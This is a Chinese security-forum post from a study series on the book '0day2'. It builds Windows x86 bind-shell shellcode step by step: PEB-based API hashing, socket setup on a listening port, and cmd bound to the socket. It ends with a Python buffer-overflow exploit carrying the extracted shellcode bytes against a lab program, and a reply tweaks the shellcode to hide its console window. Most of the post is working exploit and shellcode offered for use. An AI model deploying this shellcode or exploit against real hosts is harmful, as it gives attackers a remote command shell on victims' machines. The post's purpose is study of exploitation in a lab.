首页
社区
课程
招聘
[原创]旧书重温:0day2[6]bind_shell
发表于: 2013-12-17 18:19 4110

[原创]旧书重温:0day2[6]bind_shell

2013-12-17 18:19
4110
旧书重温系列

旧书重温:0day2【1】 简单的缓冲区溢出案例 http://bbs.pediy.com/showthread.php?t=182497
旧书重温:0day2【2】 实验:三种获取kernel32.dll基址的方法 http://bbs.pediy.com/showthread.php?t=182498
旧书重温:0day2【3】 详细解读PEB法 查找kener32地址 http://bbs.pediy.com/showthread.php?t=182499
旧书重温:0day2【4】动态获取函数地址 http://bbs.pediy.com/showthread.php?t=182520
旧书重温:0day2【5】shellcode变形记 http://bbs.pediy.com/showthread.php?t=182551
旧书重温:0day2【6】bind_shell http://bbs.pediy.com/showthread.php?t=182689


学习了以上5节课,我们学到了很多知识,例如如何动态获取指定函数的地址;我们也学到了很多经验,例如如何发现代码中的错误,如何用od定位到错误,并修正。

【本bind_shell 监听6666端口,创建一个新进程并经输入输出句柄指向socket实现控制目的】

有了以上积累,今天我们继续实验bind_shell,我没还是延用32位hash,来比较hash定位函数,而没用书中的8bit的hash,避免碰撞。题外话:周末了玩疯了有没有CF 、LOL

晚上静下心来调试了代码,今天就先获取下函数地址吧!
/*
LoadLibraryA             function`s hash is 0c917432
CreateProcessA           function`s hash is 6ba6bcc9
ExitProcess              function`s hash is 4fd18963
WSAStartup               function`s hash is 80b46a3d
WSASocketA               function`s hash is de78322d
bind                     function`s hash is dda71064
listen                     function`s hash is 4bd39f0c
accept                     function`s hash is 01971eb1
GetProcAddress           function`s hash is bbafdf85
Press any key to continue
 */
void bind_shell()
{
    //参考以前的代码
    __asm
    {
        CLD
        //存储hash

        push 0x80b46a3d                //WSAStartup
        push 0xde78322d                //WSASocket                
        push 0xdda71064                //bind
        push 0x4bd39f0c                //listen
        push 0x01971eb1                //accept
                                    //----------------------以上是ws2_32.dll中的函数
        push 0x0c917432                //load
        push 0x6ba6bcc9                //createProcessA
        push 0x4fd18963                //ExitProcess
                                    //-----------------------以上是kernel32.dll导出的函数
        mov esi,esp                    //esi = hash list 的顶 exitprocess  
        lea edi,[esi - 0x20]        //8个函数 *4 = 0x20     edi 指向 查找到的函数地址写入位置
        
        xor ebx,ebx                    
        mov bh,0x05                    
        sub esp,ebx                    //抬高堆栈  500h 保护 hash list
        
        mov bx,0x3233                //2 3
        push ebx
        push 0x5F327377                //_ 2 s w
        push  esp                    //ebp = "ws2_32"
        xor edx,edx

        mov ebx,fs:[edx+0x30]       //peb addr
        mov ecx,[ebx + 0x0c]        // ldr addr
        mov ecx,[ecx + 0x1c]        // list frist

        push edi
        push esi

next_module:
        mov ebp,[ecx+0x08]
        mov edi,[ecx+0x20]
        mov ecx,[ecx]
        cmp [edi + 12*2],dx
        jne next_module
        
        pop esi
        pop edi


find_lib_functions:
        
            lodsd                            //esi 所指定的字符 传送如eax
            cmp eax,0x01971eb1                //zhenw0
            
            jne find_functions                //如果 要查找accept的hash时 要切换dll了
            xchg ebp,eax
            call [edi - 0x04]                // edi - 0x0c 存放这LoadLibraryA的地址
            xchg ebp,eax            
            
find_functions:
            pushad
            mov eax,[ebp+0x3c]
            mov ecx,[ebp+eax+0x78]
            add ecx,ebp
            mov ebx,[ecx+0x20]
            add ebx,ebp
            xor edi,edi
            
next_function_loop:
            inc edi                        //zai exp 表中查找 函数
            mov esi,[ebx+edi*4]
            add esi,ebp
            cdq
            
hash_loop:                                //计算hash
            movsx eax,byte ptr[esi]
            cmp al,ah
            jz compare_hash                //如果到了 函数字符串的 00结尾就 比较hash至
            ror edx,7                    //右移7
            add edx,eax                    // 
            inc esi
            jmp hash_loop
            
compare_hash:
            cmp edx,[esp+0x1c]        
            jnz next_function_loop
            mov ebx,[ecx+0x24]
            add ebx,ebp
            mov di,[ebx+2*edi]
            mov ebx,[ecx+0x1c]
            add ebx,ebp
            add ebp,[ebx +4*edi]
            xchg eax,ebp
            pop edi
            stosd
            push edi
            popad 
            cmp eax,0x80b46a3d                    //如果已经查找到最后一个hash了 就不跳转了
            jne find_lib_functions
            
function_call:        //函数都找到了 开始 scoket了


int 13         //便于od附加


        



    }

}

调试发现确实有很多地方要微调下!

呵呵以上的代码已经被大改动了,是为了使用 lodsd call eax 顺序执行 WsaStartup WSaSocketA bind listen accept 等函数hash列表已经调整

最终版本汇编bindshell
CLD
        //存储hash

        
                    
        
        
        push 0x01971eb1                //accept
        push 0x4bd39f0c                //listen
        push 0xdda71064                //bind
        push 0xde78322d                //WSASocket    
        push 0x80b46a3d                //WSAStartup
                                    //----------------------以上是ws2_32.dll中的函数
        push 0x0c917432                //load
        push 0x6ba6bcc9                //createProcessA
        push 0x4fd18963                //ExitProcess
                                    //-----------------------以上是kernel32.dll导出的函数
        mov esi,esp                    //esi = hash list 的顶 exitprocess  
        lea edi,[esi + 0x20]        //8个函数 *4 = 0x20     edi 指向 查找到的函数地址写入位置
        
        xor ebx,ebx                    
        mov bh,0x05                    
        sub esp,ebx                    //抬高堆栈  500h 保护 hash list
        
        mov bx,0x3233                //2 3
        push ebx
        push 0x5F327377                //_ 2 s w
        push  esp                    //ebp = "ws2_32"
        xor edx,edx

        mov ebx,fs:[edx+0x30]       //peb addr
        mov ecx,[ebx + 0x0c]        // ldr addr
        mov ecx,[ecx + 0x1c]        // list frist

        push edi
        push esi

next_module:
        mov ebp,[ecx+0x08]
        mov edi,[ecx+0x20]
        mov ecx,[ecx]
        cmp [edi + 12*2],dx
        jne next_module
        
        pop esi
        pop edi


find_lib_functions:
        
            lodsd                            //esi 所指定的字符 传送如eax
            cmp eax,0x80b46a3d                //zhenw0
            
            jne find_functions                //如果 要查找accept的hash时 要切换dll了
            xchg ebp,eax
            call [edi - 0x04]                // edi - 0x0c 存放这LoadLibraryA的地址
            xchg ebp,eax            
            
find_functions:
            pushad
            mov eax,[ebp+0x3c]
            mov ecx,[ebp+eax+0x78]
            add ecx,ebp
            mov ebx,[ecx+0x20]
            add ebx,ebp
            xor edi,edi
            
next_function_loop:
            inc edi                        //zai exp 表中查找 函数
            mov esi,[ebx+edi*4]
            add esi,ebp
            cdq
            
hash_loop:                                //计算hash
            movsx eax,byte ptr[esi]
            cmp al,ah
            jz compare_hash                //如果到了 函数字符串的 00结尾就 比较hash至
            ror edx,7                    //右移7
            add edx,eax                    // 
            inc esi
            jmp hash_loop
            
compare_hash:
            cmp edx,[esp+0x1c]        
            jnz next_function_loop
            mov ebx,[ecx+0x24]
            add ebx,ebp
            mov di,[ebx+2*edi]
            mov ebx,[ecx+0x1c]
            add ebx,ebp
            add ebp,[ebx +4*edi]
            xchg eax,ebp
            pop edi
            stosd
            push edi
            popad 
            cmp eax,0x01971eb1                    //如果已经查找到最后一个hash了 就不跳转了
            jne find_lib_functions
            
function_call:        //函数都找到了 开始 scoket了

            add esi,0x0c        

            //mov eax,[esi]
    //--------------------------------------------------wsastartup(dword,lpwsadata)
            //std
            //std
            push esp
            push 0x02
            lodsd
            call eax
    // eax = 0 可以使用eax填充数据
    //-------------------------------------------------WSASocketA(af,type ...)
            
            mov ecx,0x50
            mov edi,esp
            rep stosd
            
            inc eax //eax = 1
            push eax
            inc eax
            push eax
            lodsd
            call eax
            xchg ebp,eax        // ebp = socket handle
            
    //--------------------------------------------------------bind
            mov eax,0x0a1aff02
            xor ah,ah
            push eax
            push esp
call_loop:                // bind() listen() accept() dou zai zhe li
            push ebp
            lodsd
            call eax
            test eax,eax
            jz call_loop
            
            //初始化,startpinfo
            inc byte ptr [esp+0x2d]
            lea edi,[esp+0x38]
            stosd
            stosd
            stosd
                
            pop eax


            push esp
            push esp
            push eax
            push eax
            push eax
            push esp
            push eax
            push eax
            //int 3
            //////////cmd
            
            mov dword ptr [esi],0x646d63
            push esi 
            
            ///////////////
            push eax
            
            
        

            call [esi-0x1c]

            call [esi-0x20]


以上是 vc6.0 内联式代码

运行起来后 使用 telnet去连接吆!

我分享下经验

0x01:首先就是hash列表的顺序,按这种顺序来真不错,那个连续调用 bind listen accept 的地方,可以节约代码,还挺方便

0x02:int 3 当我们调试代码时,我们想看看内存分布、寄存器值什么的,我们就可以使用此办法,使用od自动附加上,这样我们就可以看到很多信息了

0x03:在布置STARTUPINFO 结构时,我们手头又没资料,我们可以自己使用编译器给我们计算出来,下图


就这样我们获得了dwflags的值和偏移量,这样我们就可以布置内存了,来构造si结构


这样我们就获得了输入句柄输出句柄错误句柄的偏移了,继续构建我们重要的数据

以下是win7(母机)使用telent成功连接虚拟机的截图



接下来我们提取机器码并实验攻击Exploit_me_A.exe

在提取过程中,发现了很多00 所以为了避免截断,我微调了汇编代码避免了00的出现

		CLD
		//存储hash

		
					
		
		
		push 0x01971eb1				//accept
		push 0x4bd39f0c				//listen
		push 0xdda71064				//bind
		push 0xde78322d				//WSASocket	
		push 0x80b46a3d				//WSAStartup
									//----------------------以上是ws2_32.dll中的函数
		push 0x0c917432				//load
		push 0x6ba6bcc9				//createProcessA
		push 0x4fd18963				//ExitProcess
									//-----------------------以上是kernel32.dll导出的函数
		mov esi,esp					//esi = hash list 的顶 exitprocess  
		lea edi,[esi + 0x20]		//8个函数 *4 = 0x20     edi 指向 查找到的函数地址写入位置
		
		xor ebx,ebx					
		mov bh,0x05					
		sub esp,ebx					//抬高堆栈  500h 保护 hash list
		
		mov bx,0x3233				//2 3
		push ebx
		push 0x5F327377				//_ 2 s w
		push  esp					//ebp = "ws2_32"
		xor edx,edx

		mov ebx,fs:[edx+0x30]       //peb addr
		mov ecx,[ebx + 0x0c]		// ldr addr
		mov ecx,[ecx + 0x1c]		// list frist

		push edi
		push esi

next_module:
		mov ebp,[ecx+0x08]
		mov edi,[ecx+0x20]
		mov ecx,[ecx]
		cmp [edi + 12*2],dx
		jne next_module
		
		pop esi
		pop edi


find_lib_functions:
		
			lodsd							//esi 所指定的字符 传送如eax
			cmp eax,0x80b46a3d				//zhenw0
			
			jne find_functions				//如果 要查找accept的hash时 要切换dll了
			xchg ebp,eax
			call [edi - 0x04]				// edi - 0x0c 存放这LoadLibraryA的地址
			xchg ebp,eax			
			
find_functions:
			pushad
			mov eax,[ebp+0x3c]
			mov ecx,[ebp+eax+0x78]
			add ecx,ebp
			mov ebx,[ecx+0x20]
			add ebx,ebp
			xor edi,edi
			
next_function_loop:
			inc edi						//zai exp 表中查找 函数
			mov esi,[ebx+edi*4]
			add esi,ebp
			cdq
			
hash_loop:								//计算hash
			movsx eax,byte ptr[esi]
			cmp al,ah
			jz compare_hash				//如果到了 函数字符串的 00结尾就 比较hash至
			ror edx,7					//右移7
			add edx,eax					// 
			inc esi
			jmp hash_loop
			
compare_hash:
			cmp edx,[esp+0x1c]		
			jnz next_function_loop
			mov ebx,[ecx+0x24]
			add ebx,ebp
			mov di,[ebx+2*edi]
			mov ebx,[ecx+0x1c]
			add ebx,ebp
			add ebp,[ebx +4*edi]
			xchg eax,ebp
			pop edi
			stosd
			push edi
			popad 
			cmp eax,0x01971eb1					//如果已经查找到最后一个hash了 就不跳转了
			jne find_lib_functions
			
function_call:		//函数都找到了 开始 scoket了

			add esi,0x0c		

			//mov eax,[esi]
	//--------------------------------------------------wsastartup(dword,lpwsadata)
			//std
			//std
			push esp
			push 0x02
			lodsd
			call eax
	// eax = 0 可以使用eax填充数据
	//-------------------------------------------------WSASocketA(af,type ...)
			
			lea ecx,[eax+0x50]
			mov edi,esp
			rep stosd
			
			inc eax //eax = 1
			push eax
			inc eax
			push eax
			lodsd
			call eax
			xchg ebp,eax		// ebp = socket handle
			
	//--------------------------------------------------------bind
			mov eax,0x0a1aff02
			xor ah,ah
			push eax
			push esp
call_loop:				// bind() listen() accept() dou zai zhe li
			push ebp
			lodsd
			call eax
			test eax,eax
			jz call_loop
			
			//初始化,startpinfo
			inc byte ptr [esp+0x2d]
			lea edi,[esp+0x38]
			stosd
			stosd
			stosd
				
			pop eax


			push esp
			push esp
			push eax
			push eax
			push eax
			push esp
			push eax
			push eax
			//int 3
			//////////cmd
			
			mov dword ptr [esi],0x11646d63
			mov byte ptr [esi+0x03],bl
			push esi 
		
			///////////////
			push eax
			
			
		

			call [esi-0x1c]

			call [esi-0x20]


最后提取出来的机器码,我已经做成python的脚本了。

import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.17.128",7777))

JMPESP = "\x12\x45\xFA\x7F"
    
buf = 'z'*200 + JMPESP + "\xFC\x68\xB1\x1E\x97\x01\x68\x0C\x9F\xD3\x4B\x68\x64\x10\xA7\xDD\x68\x2D\x32\x78\xDE"\
"\x68\x3D\x6A\xB4\x80\x68\x32\x74\x91\x0C\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B"\
"\xF4\x8D\x7E\x20\x33\xDB\xB7\x05\x2B\xE3\x66\xBB\x33\x32\x53\x68\x77\x73\x32\x5F"\
"\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B"\
"\x09\x66\x39\x57\x18\x75\xF2\x5E\x5F\xAD\x3D\x3D\x6A\xB4\x80\x75\x05\x95\xFF\x57\xFC"\
"\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB"\
"\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"\
"\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB"\
"\x57\x61\x3D\xB1\x1E\x97\x01\x75\xA9\x83\xC6\x0C\x54\x6A\x02\xAD\xFF\xD0\x8D\x48\x50\x8B"\
"\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD"\
"\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x8D\x7C\x24\x38\xAB\xAB\xAB\x58\x54\x54\x50\x50"\
"\x50\x54\x50\x50\xC7\x06\x63\x6D\x64\x11\x88\x5E\x03\x56\x50\xFF"\
"\x56\xE4\xFF\x56\xE0\x90\x90\x90\x90\x90\x90"

               
		
		
sock.send(buf)


以上代码需要改动!下ip。不明白的参考以上几篇,成功的图我就不上了。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 5
支持
分享
最新回复 (2)
雪    币: 77
活跃值: (48)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark
2014-3-3 09:25
0
雪    币: 411
活跃值: (247)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
改了下楼主的SC,你的要跳黑框,改了下不跳了
     push esp
      push esp
      push eax
      push eax
      push eax
      push esp
      push eax
      push eax
      //int 3
      //////////cmd
      mov dword ptr [esi],0x11646d63
      mov byte ptr [esi+0x03],bl
      push esi
      ///////////////
      push eax
      call [esi-0x1c]
要改成
push esp
      push esp
      push eax
      push eax
      mov al,08
      shl eax,18h
      push eax
      xor eax,eax
      push esp
      push eax
      push eax
      //int 3
      //////////cmd
      mov dword ptr [esi],0x11646d63
      mov byte ptr [esi+0x03],bl
      push esi
      ///////////////
      push eax
      call [esi-0x1c]
2015-11-26 16:29
0
游客
登录 | 注册 方可回帖
返回
//